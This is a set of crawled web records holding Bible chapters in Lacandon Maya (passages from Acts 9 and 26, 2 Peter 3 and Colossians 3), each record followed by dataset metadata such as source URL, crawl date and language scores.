bayiri' xan, yejer u ju'unin a caj u ts'a ten u jach ts'urir sacerdote ti' ten quir in bin in chucob.\n13 In reyech Agripa, caj binen ich u berir Damasco. A wer ba' in ber a teno'? Caj c'uchij c'ac'chunq'uin, caj binen caj in wiraj ch'ic yum sasir ca'anan. A q'uino', mʌ' nejach sasiri', a ju sasir ca'anano' jach manan. Caj rʌc bʌc'rista'ben a teno' yejer in wet binacob.\n14 Jeroj tune', caj rʌc rubenob ich ru'um, caj in wu'yaj u t'ʌn mac caj u ya'araj ten ich u t'ʌn hebreo. Caj ya'araj ten: \"Saulo, Saulo, biquinin ca man a chuc u pach a yacsicob tu yorob in t'ʌn? Mʌ' ja wirej, ca chuquic in pach xan? Mʌ' ja wirej, a bʌjiri' ca man a p'act a bʌj Saulo. A techo', irech a wacʌxo' a cu conconche'tic u che' yejer u ni' a qui' yeje'.\" Baxuc caj u ya'araj ten.\n15 'A teno', caj in wa'araj: \"Maquechi' Jaj Ts'ur?\" A Jaj Ts'uro', caj u ya'araj ten: \"A teno' Jaj Ts'uren, Jesúsen, a mac ca man a chuc u pachobo', ten ca man a chuc in pach, quij Jesús. in pach.\n16 Chen riq'uen ta ch'ictar. Taren in wesic in bʌj tech soc a beyaj ten. Caj in toc tetech soc a man a tsec'tej in t'ʌn, bic caj a wirajen baje'rer. Barej ca' bin c'uchuc tu q'uinin, je' in ca' esic in bʌj tech. Bayriri' xan, ca' a wa'arej a ba' ca' bin a wirej biq'uinin.\n17 A teno', quij Jaj Ts'ur, bin in ca' in taquech tu ca bin a tsec't in t'ʌn, cax ich u winiquirob judío, cax mʌ' ich u winiquirob judío. Baje'rer, quin tuchi'tiquech ich a mac a mʌ' u winiquirob judío.\n18 Quin tuchi'tiquech ich a mʌ' u winiquirob judío soc a camsicob. Ca' a camsej ca' u p'ʌtob a ba' c'asir cu ya'aricob. Ca' a camsob, soc u joc'arob tu yac'birir ca' ocacob tu sasirir. Ca' a camsob soc u joc'arob tu cu ts'urinticob a quisino', soc ca' tacob tu cu ts'urinticob a C'ujo', quire' caj u yacsob tu yorob ten, quij Jesús. Soc u jawʌrob u si'pir ten C'uj, soc robob cu bin acsa'bir ten C'uj tu cuchir an ten bic u winiquirob C'uj.\" Baxuc caj u ya'araj Jesús caj u tetaj ten.\nPablo caj u quibaj a ba' ara'b ten Jaj Ts'ur\n19 Rajen in reyech Agripa, caj in quibaj tu cotor a ba' caj ya'araj ten Jaj Ts'ur caj u t'ʌnen ca'anan.\n20 Chen a teno', caj in yʌnxchun in tsec'tic u t'ʌn C'uj tu cajar Damasco, pachir tu cajar Jerusalén jach pachir ich tu cotor tu ru'umin Judea. Ti' toy jach pachir caj in tsec'taj tu yʌn a mʌ' u winiquirob judío. Mʌ' ja wirej, caj in tsec'taj ca' u c'axej u yorob, soc u p'ʌticob u c'asirob tu cu manob soc u yocarob tu berir C'uj. Caj in toc araj, ca' qui' manacob tu tsoyir soc tu cotor mac cu yiric wa jach taj ca' c'axaj yorob, soc u p'ʌticob u c'asirob.\n21 Quire' a baywo', caj in tsec'taj u t'ʌn C'uj a winiquirob judiójo', caj u chucajenob tu carem naj tu cu naj c'ujinticob C'uj u winiquirob judío. Caj u tumtajob or u jach quinsenob, a ray u q'uinino'.\n22 Quire' caj u yamten C'uj, rajen cuxa'anen tac baje'rer. Rajen u beri' baje'rer quin tsec'tic u t'ʌn C'uj, cax a tera' quin ch'ictar quir in tsicbar u tajir t'ʌn ti' tu cotor mac. Cax a tera', tu yʌn mac a jach no'jo', cax ich a mac' a mʌ' jach no'jo'. Mʌ' ba' caj in wa'araj, jari' a ba' caj u ts'ibtaj mac a ts'a'b u tucurob ten C'uj soc u ts'ibticob a ba' u c'at C'uj, quet yejer a ba' ts'ibta'b ten Moisés uch. A ba' caj u ya'arajob bin u ca' tar ca' bin c'uchuc tu q'uinin ra' caj in tsec'taj.\n23 Mʌ' ja wirej, robob caj u ya'arajob bin u ca' tar Mesías ich C'uj ca' muc'yajnʌc, cu ts'ocare', cu quimin soc u taquic tu cotor mac. Aro' tune', raji' u yʌnxchun mac u ri'quir tu quimirir quir u tsec'tic ti'ob u winiquirob judío, yejer a mʌ' u winiquirob judío wa c'ucha'an yor u tacbir ten C'uj a jera' sasirir C'uj ti'ob.\nPablo caj u tumtaj yirej wa Agripa cu yacsic tu yor\n24 Quire' cu tsicbʌtic Pablo a je' t'ʌna', jaj ix ti' wa cu taquic u bʌj ti' Festo. Raji' Festo c'am caj t'ʌnʌj, caj u ya'araj:\n―A techo' Pablo ―quij ya'araj ti'―, mʌ' c'ucha'an a wor a tucric taj, quire' jach manan a xacmʌn ju'un a techo' ―quij Festo.\n25 Barej Pablo caj u ya'araj ti' Festo:\n―In gobernadorech, a mac quin sʌjtic, a ba' quin wa'aric tech raji' taj. Mʌ' ja wirej, quin tsicbar an ten bic mac a jach manan taj a ba' cu tucrico'.\n26 Te' yʌnecha' reyech Agripa, a techo', a jach er tu cotor ba' a caj in wa'araj, rajen mʌ' u jac'ʌr in wor in tsicbar ʌcʌtan tech. A teno', quin tucric a wer tu cotor a ba' quin tsicbar raji' t'ʌn jach taj, quire' mʌ' mucu ara'ani', tu cotor mac yubmʌnob.\n27 A techo' in reyech Agripa, a wacsmʌn wa ta wor a ba' ts'ibta'b ten a mac a ts'a'b u tucurob ten C'uj quir u ts'ibticob a ba' u c'at C'uj? A teno', in wer ca wacsic ta wor.\n28 Caj u nuncaj Agripa ti' Pablo tun, caj ya'araj:\n―A techo', ca tus tucric seb in c'axic in wor soc in wacsic tin wor u t'ʌn Cristo.\n29 Caj u nuncaj Pablo:\n―Cax qui' ts'abir a wacsic ta wor, cax seb ca wacsic ta wor u t'ʌn Cristo. Mʌ' ja wirej, a teno', in t'ʌnic C'uj soc tech yejer tu cotor mac a tan a wu'iquex in t'ʌn baje'rer ca' a wacsaquex ta worex ti' Jesús an ten bic ten caj in wacsaj tin wor ―quij Pablo―. Chen wa tsoy tu t'ʌn C'uj mʌ' in c'at in wiric c'ʌra'anechex an ten bic ten baje'rer.\n30 Caj ts'oc ya'aric Pablo a jera', caj riq'uij a reyo' yejer a Berenice yejer gobernador yejer tu cotor mac tu cura'anob.\n31 Barej caj joc'ob mʌ' nenachi', caj u pacran a'arajob ich u rac'ob:\n―A je' xiba', mʌna' u c'asir ti'. Mʌ' ba'wir ti' quir u quimin, mʌ' quir in c'ʌricob tu cu naj ma'cʌr mac.\n32 Caj u ya'araj Agripa ti' Festo:\n―A je' xiba' wa mʌ' u c'at u bin ich u rey César uch quir u taquic u bʌj, c'ucha'an ij cor ij cha'ic u bin Pablo.","id":"","dump":"CC-MAIN-2022-27","url":"https:\/\/ebible.org\/study\/content\/texts\/lacNT\/AC26.html","date":"2022-06-26T18:17:10Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-27\/segments\/1656103271763.15\/warc\/CC-MAIN-20220626161834-20220626191834-00665.warc.gz","language":"lac","language_score":1.0000033379,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"lac_Latn_score\": 1.0000033378601074}","num_words":1686,"character_repetition_ratio":0.081,"word_repetition_ratio":0.0,"special_characters_ratio":0.288,"stopwords_ratio":0.479,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"9\nCaj u yacsaj tu yor u t'ʌn Jesús, Saulo\n(Hch. 22.6‑16; 26.12‑18)\n1 Mʌ' ja wirej, a Saulo' mʌ' ju p'ʌtic u chuquic u pachob a yacsmʌnob tu yorob, quire' u c'at u rʌc ch'esicob. Rajen caj binij ich yicnʌn u jach ts'urir sacerdote u winiquirob judío.\n2 Raji' bin u c'atej u ju'unin quir u bin u chuquej a je' mac a cu sayʌrob tu pach Jesúse', a mac a ti' yʌnob ich u cajar Damasco. Caj bin u c'atej ca' ts'ibtac ju'un ten u jach ts'urir sacerdote ti' u jach ts'urirob ich jujuntur u chan najir tu cu naj c'ujinticob C'uj u winiquirob judío ich u cajar Damasco. Ich a je' ju'una' caj c'ata'bir ten u jach ts'urir sacerdote ca' yamtacob Saulo quir u chuquicob, cax xquic, cax xib ca' u chuquejob ca' xic u purej ich u cajar Jerusalén. Cax a mun cu yiricob cu chuquicob cu bin u purob.\n3 Jeroj, caj bin Saulo, cu tar ich bej caj c'uchij bʌytʌc tu yʌn u cajar Damasco. Seb caj sasichʌjij ca'anan. Caj tar u sasir ca'anan ich Saulo, rʌc bʌcrista'b Saulo ten u sasir ca'anan.\n4 Caj rub Saulo ich ru'um jeroj, caj yubaj u t'ʌn Jaj Ts'urir:\n―Biquinin tech Saulo, ca man a chuquic u pachob a mac a cu sayʌrob tin pache'? Mʌ' ja wirej ―quij―, ten tan a man a chuc quin pach ―quij Jesús.\n5 Caj u c'ataj Saulo:\n―Maquechi', Jaj Ts'urir?\nCaj yubaj u nunca' ti' Saulo:\n―A teno' ―quij―, Jesúsen, a maca' ca man a chuquicob ten ―quij Jesús. A wʌc'ʌs bʌjiri' ca p'actic a bʌj Saulo. Mʌ' ja wirej, baxuquech a wacʌxo', a tan u conconch'ʌctic a qui' yej u ni'e'.\n6 Caj jaq'uij yor Saulo cu babacancʌr tu cotor u winquirir Saulo. Caj u ya'araj Saulo:\n―Ba' a jach c'at in betech, Jaj Ts'urir?\nCaj ya'araj Jesús:\n―Riq'uen, Saulo ch'icren, ca' ocaquech ich u cajar Damasco. Je' u yac tech a ba' ca bin a betej.\n7 A mac a yet binacob Saulo, robob xib, mʌ' u joc'arob u t'ʌn, quire' jach jac'a'an yorob. Mʌ' ja wirej, a yet tarob Saulo, cu chen u'ya'r u jum u t'ʌn Jesús, chen mʌ' u yuba'r ba' cu ya'aric Jesús, quire' mʌ' ju yirajob maqui'.\n8 Barej caj ch'icraj Saulo caj p'ir u wich, chen mʌ' u yir u ber, quire' ac'bichʌj u wich. Caj mach u c'ʌb Saulo ca' xic purbir ich u cajar Damasco.\n9 Ti' yʌn Saulo ich u cajar Damasco mʌna' u nup u q'uinin, ac'bir u wich, mʌ' ju janan, mʌ' ju yuc'ur.\n10 Chen ti' cʌja'an ich u cajar Damasco turiri xib a yacsmʌn tu yor ti' u t'ʌn Jesús. U c'aba' Ananías. Jeroj caj u wʌyʌc'taj Jaj Ts'ur, Ananías caj ara'b ti' ten Jaj Ts'ur:\n―Ananías ―quij.\nRaji' caj u nuncaj ti':\n―Te' yʌnena', Jaj Ts'urir.\n11 Jeroj tune', caj ara'b ti' ten Jaj Ts'ur:\n―Riq'uen ca' xiquech ich u berir a cu ya'ara' Taj. Mʌ' ja wirej, ra' u c'aba' u berir taj. Ca' bin c'uchuquech, c'atej ich yatoch Judas, quire' ti' yʌn turiri' xib, u c'aba' Saulo, a cu tar ich u cajar Tarso uche'. Tiri' yʌn Saulo cu t'ʌniquen ―quij Jesús.\n12 A Saulo', caj u wʌyʌc'taj a tar Ananías. Caj u wʌyʌc'taj a wocar a ts'anc'ʌbtej ca' jawʌc u yac'birir u wich ―quij Jesús.\n13 Ananías caj ts'oc u yubic a ba' ara'b ten Jaj Ts'ur, caj u nuncaj, tan ya'aric:\n―Jaj Ts'urir ―quij―, caj in wu'yob u juminta' u bʌjiri' Saulo cu man u chuquic u pachob a mac a tu yacsajob tu yorob a t'ʌn ich u cajar Jerusalén uche'.\n14 Caj in wu'yob u bʌjiri' tarij Saulo quir u chuquic u c'ʌxenob, ca' u pur u maquenob ich u cajar Jerusalén. Caj in wu'yob baxuc caj u ts'ibtaj u jach ts'urir sacerdote u winiquirob judío.\n15 Chen Ananías tan u nunca' ten u Jaj Ts'urir.\n―A teno', in tetmʌn Saulo quir u beyaj ten baje'rer. Ca' manʌc u tsec't in t'ʌn ich tu mʌ' u winiquirob judío, bayiri' xan, ca' manʌc u tsec't in t'ʌn ich u yet winiquirob israel, bayiri' xan, ca' manʌc u tsec't in t'ʌn ich a reyob tu cu reyinticob mac, rajen ca' xiquech ich Saulo.\n16 A teno', in bʌjiri' je' in wesic ti' mun cu bin muc'yaj tu cu tsec'tic in t'ʌn ―quij Jesús.\n17 Jeroj caj ts'oc yubic ich u wʌyac' a ba' ara'b ten Jaj Ts'ur, caj riq'uij caj binij, caj c'uchij yatoch Judas tu yʌn Saulo. Caj oquij Ananías caj u ts'anc'ʌbta Saulo. Caj ara'b ten Ananías:\n―In wet acsa'orirech Saulo ―quij―. Ic Jaj Ts'urir Jesús a ta wiraj caj tarech ich bej, raji' caj u tuchi'ten ca' tac in ts'anc'ʌbtech ca' jawʌc a wich. Ca' a ts'urintej u Taj'or u Pixam C'uj, Saulo.\n18 Barej caj ts'oc u tsicbar Ananías, seb caj ruc' u pix u wich, jeroj caj sasichʌjij u wich Saulo, jeroj tune', caj riq'uij caj acsa'b ja' tu jo'r.\n19 Jeroj, barej caj janij, caj tar u muc' xan tu ca' ten.\nSaulo cu tsec'tic u t'ʌn Jesús ich u cajar Damasco\nJeroj tune, Saulo tiri' p'atij mʌ' ya'ab u q'uinin ich u yet acsa'orirob.\n20 Seb Saulo caj bin u tsec'tic u t'ʌn Jesús ich u chan najir tu cu naj c'ujinticob C'uj u winiquirob judío. Tan ya'aric uch Saulo: \"Jach jaj u parar C'uj Jesús.\"\n21 A mac a yubmʌnob cu tsec'tic u t'ʌn Jesús, jach jaq'uij yorob caj u ya'arajob:\n―A ray maco', mʌ' wa ra' cu chuquic a mac a yacsmʌnob tu yorob u t'ʌn Jesús ich u cajar Jerusalén quir u ch'esicob uch? Mʌ' wa tij cu'yajex tarij a ray maco', quir u chuquic a yacsmʌnob tu yorob u t'ʌn Jesús te' ich ij cajarex Damasco, quir u puricob mʌcbir ich u cajar Jerusalén, tu yʌn u jach ts'urirob sacerdote?\n22 Chen a Saulojo', chich caj u tsec'taj u t'ʌn Jesús, mʌ' u jac'ʌr yor u tsec'tic u t'ʌn Jesús. A mac a cu yubicob tu cu tsec'tic u t'ʌn Jesús, mʌ' c'ucha'an yorob u nunquicob ti' Saulo. Mʌ' ja wirej, tu cu tsec'tic u t'ʌn Jesús ti' a mac cʌja'anob ich u cajar Damasco, cu ya'aric ti'ob:\n―Jach jaj, a Cristojo' a mac teta'an ten C'uj tarij ich yoc'ocab uch, raji' Jesús.\nU winiquirob judío cu puts'icob Saulo\n23 Caj ts'oc u man mʌ' ya'ab u q'uinin, caj u much'quintajob u bʌj u winiquirob judío. Tiri' caj u tucrajob bic tabar cu bin u chuquicob Saulo quir u quinsa'.\n24 Chen a ba' c'asir caj u tucrajobe', caj nup u t'ʌnob ten mac, jeroj caj u masaj ti' Saulo. U winiquirob judío caj u cʌnantob u jor u pa'te' ich u cajar Damasco. U burur q'uin u burur ac'bir cu pajicob ich u jor pa'te' quir u chuquicob u quinsej Saulo.\n25 Chen a mac a tu yacsajob tu yorob u t'ʌn Jesús, caj u yacsajob Saulo, caj emsa'b yejer carem xac pichir bʌcris pa'te' u cajar Damasco. Ac'bir caj puts'ij Saulo.\nSaulo tar u tar ich u cajar Jerusalén\n26 Barej caj c'uchij Saulo ich u cajar Jerusalén, cu chen c'at u pʌcte'quintic u bʌjob yejer a yacsmʌnob tu yorobe'. Chen a yacsmʌnob tu yorob cu sʌjta'rob Saulo quire' mʌ' yerob wa yacsmʌn tu yor Saulo u t'ʌn Jesús uche'.\n27 Caj tar irbir Saulo ten Bernabé, caj payij Saulo ten Bernabé ich tu yʌn a xibo' a teta'b ten Jesús quir u tsec'ta'r u t'ʌn. Caj tsicbanʌjij Bernabé ʌcʌtan a ray xibo', caj u toc araj ti'ob ba' u ber Saulo ich u berir Damasco an bic caj u yiraj Jaj Ts'ur, an bic caj u tsicbʌtaj ti' Jaj Ts'ur. Bayiri' xan, caj u tsicbʌtaj ti'ob bic Saulo caj u chich tsec'taj u t'ʌn Jesús ich u cajar Damasco.\n28 A baje'rer caj u quibob u yacsmʌn tu yor Saulo. Jeroj yet manob, quire' caj u quibob a ba' ara'b ti'ob ten Bernabé. Tiri' p'atij Saulo ich u cajar Jerusalén yejer a mac a yacsmʌnob tu yorob u t'ʌn Jesús.\n29 Saulo chich caj u tsec'taj u t'ʌn Jesús. Su'su' cu tsicbar Saulo ti' u winiquirob judío. C'am u nunquirob u t'ʌn Saulo u winiquirob judío a ju t'ʌn griego. Rajen caj u tumtob yirej wa je' u quinsicob Saulo.\n30 Barej a yacsmʌnob caj u yorob tu yubob ya'ara' u quinsa' Saulo, rajen ti' bin purbir Saulo ich u cajar Cesarea, pachir caj tuchi'ta'b Saulo ich u jach cajar Tarso.\n31 Caj ts'oc u yacsic tu yor u t'ʌn Jesús, Saulo, a mac a yacsmʌnob tu yorob ich u ru'umin Judea, bayiri' xan, a mac a yacsmʌnob tu yorob ich u ru'umin Galilea, bayiri' xan, a mac a yacsmʌnob tu yorob ich u cajar Samaria, rʌc sisij yorob a mac a caj u chucob u pachob uche', mʌna' mac cu man u chuquicob u pachob. Jeroj, caj jach qui' tajijo' u qui' acsicob tu yorob a yacsmʌnob tu yorobe'. A ba' ara'an ti'ob ten C'uj cu qui'qui'quibicob. Tan u chichquinta'r u yorob ten u Taj'or u Pixam C'uj, rajen cu jach pimtar a yacsmʌnob tu yorob.\nJawsa'b Eneas ten Pedro\n32 C'uchij tu q'uinin caj manij Pedro yirej tu cotor u ru'umin tu cʌja'anob mac a yacsmʌnob tu yorob, caj u nupaj xan, a mac a yacsmʌnob tu yorob ich u cajar Lida.\n33 Barej caj c'uchij ich u cajar Lida caj u yiraj turiri' xib. U c'aba' Eneas. Jach yaj, ocho yaxq'uin u cʌnmʌn u yajir, mʌ' ju pec, u burur q'uin characbar Eneas.\n34 Pedro caj u t'ʌnaj, caj u ya'araj:\n―Jesucristo je' u jawsiquech baje'rer, Eneas. Riq'uen, quen Eneas. Jʌyej a tas.\nSeb caj riq'uij Eneas caj u jʌyaj u tas.\n35 Caj irir ten u rac'ob, a mac cʌja'an ich u cajar Lida bic jawsa'b Eneas, bayiri' xan, a mac a cʌja'anob ich u cajar Sarón, rajen caj u rʌc p'ʌtajob a ba' camsa'b ti'ob ten u nunquirob uch, caj u yacsajob tu yorob u t'ʌn Jaj Ts'ur.\nRicsa'b tu quimirir Dorcas\n36 Ti' yʌn ich u cajar Jope turiri' xquic u c'aba' Tabita. Raji' u yacsmʌn tu yor. U c'aba' Tabita chen wa t'ʌnbir ich u t'ʌn griego cu ya'aric Dorcas. A je' xquica' Dorcas cu naj jʌsic u yo'och ti' a mac a jach otsir, cu naj yamtic mac wa ba' u c'at.\n37 A ray u q'uinino', barej ti' yʌn Pedro ich u cajar Jope, caj yajij Dorcas, jeroj caj quimij. Caj ts'oc u p'obar u baquer ten u rac'ob, an ten bic cu naj p'o'icob u winiquirob judío a mac a cu quimino'. Jeroj tune', caj acsa'b u baquer ich jun c'as naj.\n38 A mac a yacsmʌnob tu yorob ich u cajar Lida yubmʌnob ti' yʌn Pedro ich u cajar Jope, quire' ti' yʌn bʌytʌc tu cajar Lida, rajen tuchi'ta'b ca'tur xib pʌybir Pedro. Ara'b ti':\n―Chich pʌyex Pedro, chan arex ti' ca' tac seb tu yʌno'onex te' ich u cajar Lida.\n39 Caj ts'oc u yubic a ba' ara'b ti' ten a ca'tur yʌjpʌyirob Pedro, caj bin yejerob. Caj c'uchij, caj bin purbir tu yʌn a quimene'. Caj oc Pedro ich jun c'as naj ca'anan tu yʌn u baquer a quimeno'. Jeroj, caj u yesob u noc'ob ti' Pedro a chu'y u noc'ob ten Dorcas, a cuxa'an toy Dorcas uche'. Ra' a quiminob u mame', robob caj u yesajob u noc'ob ti' Pedro. Tan yac'ata'r Dorcas ten a xquico' a quimen u mamo'.\n40 Pedro caj u rʌc joc'saj tu cotor mac tancab, chen Pedro p'at tu junan tu yʌn u baquer Dorcas. Jeroj tune', caj xonrʌj Pedro quir u t'ʌnic C'uj. Caj ts'oc u t'ʌnic C'uj, caj riq'uij Pedro. Caj u sut u bʌj caj u pʌctaj u baquer Dorcas. Tu t'ʌn Pedro:\n―Riq'uen, Tabita, quen.\nJeroj tune', Dorcas caj u p'ir u wich, caj u yiraj Pedro, caj ric' cutar.\n41 Pedro caj u ts'aj u c'ʌb ti', caj mach u c'ʌb ten Dorcas, caj u ric'saj ca' ch'icrar. Jeroj tune', caj t'an a yacsmʌnob tu yorob ten Pedro. Caj t'an xan a xquico' a quimen u mame' ca' rʌc tacob. Caj esa'bob ti', cuxa'an Dorcas.\n42 Tu yubob ric'sa'b ti' u quimirir Tabita ten Pedro, rajen ya'ab mac caj u yacsob tu yorob u t'ʌn Jaj Ts'ur.\n43 Tiri' p'at ya'ab u q'uinin Pedro ich u cajar Jope. Acsa'b Pedro ten Simón. A je' Simóno' cu banic u yot'er wacʌx.","id":"","dump":"CC-MAIN-2022-27","url":"https:\/\/ebible.org\/study\/content\/texts\/lacNT\/AC9.html","date":"2022-07-01T17:18:25Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-27\/segments\/1656103943339.53\/warc\/CC-MAIN-20220701155803-20220701185803-00476.warc.gz","language":"lac","language_score":0.9999921322,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"lac_Latn_score\": 0.9999921321868896}","num_words":2012,"character_repetition_ratio":0.092,"word_repetition_ratio":0.005,"special_characters_ratio":0.282,"stopwords_ratio":0.469,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"3\nJe' u ca' tar ij cʌjtaquirexe'\n1 A je' ju'una', quin ts'ibtic techex, in jach yajechex, yejer a tin yʌn bat'an ts'ibtaj techex. Caj in c'asa techex bic tabar a wacsman ta worex quire' tsoyjij a worex, rajen quin wʌc'ʌs c'asic techex. 2 Baje'rer in c'at in c'asic techex, soc a c'ʌ'otiquex a ba' caj u ya'arob u yʌjtseq'uirob u t'ʌn C'uj uch. Baxuc quin c'asic techex soc a c'ʌ'otiquex a ba' ara'b ten ij cʌjtaquirex Jesús, a tin camsob techex ten yejer in wet camsʌwinicob uch.\n3 Jach manan soc a werex a ba' u ber ca' bin tac tu q'uinin tabar u xur t'ʌn. Jun yarob a ra' winico' bin u ca'ob u p'astob a ba' cu ya'aric C'ujo' bin u caj u manob a ba' cu pachticob tu yorob, a c'aso'. 4 A ray u q'uinino' bin u ca'ob u c'atob ti' a mac a yacsmʌnob tu yorob: \"Biquinin mʌ' ju tar Jesús an ten bic caj u toc ya'araj uch? A ra' q'uin caj quim ic nunquir mʌna' ba' u ber ich yoc'ocab, u beri' ti' yʌn tu cotor ba'.\" Baxuc cu bin ya'aricob. 5 Cax baxuc bin u ca'ob ya'aricob a ray u q'uinino', quire' mʌ' u c'at u c'ʌ'oticob u beyaj C'uj uch. Mʌ' ja wirej, caj ara'b ten C'uj ca' joc'ac ca'anan yejer yoc'ocab caj beta'b. U ru'umin tar u tar ich ja', a ru'umo', cu cuxtar ti' ja'. Baxuc caj beta'b ten C'uj ucho'. 6 Pachir, caj burij ich yoc'ocab an ten bic caj ara'b ten C'uj uch, rajen caj quimij mac quire' rʌc bint ja'. Ra' cu rʌc tubur ti'ob a ba' u ber ch'ic ucho'. 7 Mʌ' ja wirej, caj ara'b ten C'uj xan, bin u caj c'uchur tu q'uinin wa ber cu bin tocbir a ca'anano' quet yejer a yoc'ocabo', a ca wiriquex baje'rero'. Ra' u q'uinino' xan, a mac a mʌ' yerob C'uj, bin u ca'ob tacbir u jo'rob quire' u si'pir. A ray u q'uinino' robob bin u caj ch'ejarob.\n8 U'yex ba' quin wac in wet acsʌ'orirechex, a mac in jach yaj. Mʌ' u yʌn tubur techex, a C'ujo', mʌ' u xac u q'uinin an ten bic a to'onexo' quic xaquiquex u q'uinin. A C'ujo' cu yiric turiri' u q'uinin irej wa mil yaxq'uin. Baxuc xan cu yiric mil yaxq'uin an ten bic turiri' u q'uinin. Ra'iri' yiric a C'ujo'. 9 Ti' yʌn mac a cu tucricob baj ya'araj ic Jaj Ts'urirex mʌ' ju tar ti'ob. Je' u tare' an ten bic caj ya'araj Jesús uch. Mʌ' ja wirej, nemʌ' bic cu pajic mac, soc mʌ' u satʌr quire' u c'at yiric u rʌc c'axicob u yorob ca' u p'ʌt u c'asirob.\n10 Mʌ' ja wirej, a mac a cu ya'cric ba', cu c'uchur ich yac'birir soc mʌ' yer mac ber cu c'uchur. Baxuc xan, u q'uinin ca' bin tac ic Jaj Ts'urirex. Mʌna' mac yer ber cu bin tar. Wa ber ca' bin tac, a ray u q'uinin tuno' jach manan c'am cu bin tar u jum a ca'anano', u bʌjiri' cu bin ruc'ur ca' bin xuruc t'ʌno'. A ba' quij quiriquex ich ca'anano' a cu yerc'ac'tico'onex ac'biro', bin u ca' rʌc erar. U ru'umin yejer tu cotor a ba' beta'b bin u ca' rʌc erar xan.\n11 Rajen wa tu cotor a je' cu bin ch'esa'bir biq'uina' ca' ij cʌnantex ic bʌj soc mʌ' ic pʌyic ic si'pirex. Ca' ic sʌjtex C'uj. 12 Rajen ca' ic pajex u q'uinin soc qui' ij corex quire' a C'ujo' bin u ca' u jʌse tu cotor mac. Toc qui' pʌyex u jer u q'uinina', soc ca' tac seb. Mʌ' ja wirej, a ray q'uinino' u ru'umin bin u caj rʌc erar, ti cotor a ba' ti' yʌn bin u caj rʌc ch'ejar. Tu cotor a ba' cu yerc'ac'tico'onex ca'anan, bin u caj rʌc yiq'uir xan. 13 Chen a to'onexo' tan ic pajiquex u q'uinin ca' tac u jer ric'ben ca'anan yejer u jer ric'ben ru'umin an ten bic caj ara'b ten C'uj. A ti taro' bin ij caj manex ich u tsoyir C'uj.\n14 Quire' tu cotor aro' in wet acsʌ'orirechex a mac in jach yaj quire' tan a pajiquex ca' tac Cristo. Rajen ca' a p'isex a bʌjex soc a baywo' mʌ' jic pʌyex ic si'pirex. Soc mʌna' chichin ic si'pirex ca' bin iric ten C'uj wa ber ca binex ʌcʌtan ti' C'uj. Mʌ' ja wirej, a baywo' tsoy bin u ca' yirico'onex a C'ujo'. 15 C'ʌ'otej techex, ajera' ic Jaj Ts'urirex u c'at ca' u taco'onex. Rajen uch tan u pajico'onex ca' taco'onex. Mʌ' ja wirej, baxuc caj u ts'ibtaj Pablo techex ij quet acsʌ'orirex, ic bʌjex Pablo, ic jach yajex xan. Ra' ts'a'b u tucur ten C'uj quir u ts'ib. 16 Baxuco', a Pablojo', cu ts'ibtic tu cotor u ju'unin a cu ts'ibtic ti' u yet acsʌ'orirob. Chen quire' yʌn ba' a cu ts'ibtic Pablo tu ju'unin jach yaj ic najtiquex rajen a mac a mʌ' qui' camsa'b ti' u t'ʌn C'uj, yejer a mac a mʌ' chichac yor ti' u t'ʌn C'uj. Robob cu c'axic a ba' u jach a'aric an ten bic caj u c'axob a ba' cu jach a'aric ich u jer jun xot' u t'ʌn C'uj. Rajen bin u caj satʌrob quire' baxuc cu beticobo'.\n17 A techexo', a mac a caj in ts'ibtaj quire' in yajechex. Caj a toc u'yex, rajen qui' cʌnant a bʌjex soc mʌ' u pʌyicob a berex quir u sʌtiquechex. Mʌ' a wacsiquex ta worex ti' u t'ʌn, a mac a mʌ' u najtob a ba' cu jach a'aric ti' u t'ʌn C'uj. Mʌ' ja wirej, robob mʌ' ju yacsob tu yorob. 18 Chen ca' ic p'is ic bʌjex soc jach manan ij querex u yajo'onex ic Jaj Ts'urirex Jesucristo, caj u yiraj otsiro'onex, rajen tu taco'onex. Ca' ic sʌjtex baje'rer bayiri' munt q'uin. Jeroj, ts'oc u tsicbar Pedro.","id":"","dump":"CC-MAIN-2022-27","url":"https:\/\/ebible.org\/lacNT\/2PE03.htm","date":"2022-07-03T12:32:23Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-27\/segments\/1656104240553.67\/warc\/CC-MAIN-20220703104037-20220703134037-00296.warc.gz","language":"lac","language_score":1.0000081062,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"lac_Latn_score\": 1.0000081062316895}","num_words":956,"character_repetition_ratio":0.069,"word_repetition_ratio":0.0,"special_characters_ratio":0.303,"stopwords_ratio":0.464,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"3\n1 Mʌ' ja wirej, wa ber caj ric'sa'b Jesús ten C'uj uch quir u cuxtar quet bayiri' ric'sa'bechex xan, quir a cuxtarex soc a manex tu tsoyir. Rajen ca' a cʌxtex a ba' tsoy tu t'ʌn Cristo, a raji' ti' yʌn ich u noj C'uj quire' raji' jach yʌn u muc' C'uj a caremo'.\n2 Toc ts'ajex a tucurex ti' a ba' u c'at C'uj. Rajra' ca' tucriquex a ti'o' soc mʌ' a chen cʌxtiquex a ba' yʌn te' ich yoc'ocaba'.\n3 Quire' a techexo' quimenechex ti' a ba' oc a ts'urintajex uch, a tu pʌy a si'pirex uch. Toc yʌn a cuxtarex munt q'uin a tan u cʌnanta'r ten Cristo techex baje'rere'.\n4 Ca' bin uruc Cristo a ra' cu cʌnantic, ij cuxtarex munt q'uin, a ra' cu bin u ts'ic to'onex. A ra' u q'uinino', Jesús cu bin esbir ten C'uj ich u sasirir quet yejero'onex a mac a yacsmʌnob tu yorob ti' Cristo.\nA ba' tic ts'urintaj uch yejer a ba' tic ts'urinta baje'rer\n5 Rajen, in wet acsʌ'orirex, toc jumpuri' ca' a p'ʌtex a manex ich a c'asirex a ti' yʌn a tera' ich yoc'ocab a ca pachtiquex ta winquirirex. Jot, quij, mʌ' a man a wirej a mʌ' u mami', bayiri' xan a mʌ' man a wirej a mʌ' a raq'ui', quij. Jot, mʌ' a muc a pʌyej xquic ich u rac'ob. Jot, quij, mʌ' a pachtic xquic ta wor, bayiri' mʌ' a pachtic xib ta wor soc mʌ' a bin yejer. Jot, quij, mʌ' a pachtic u ba'tac soc tech 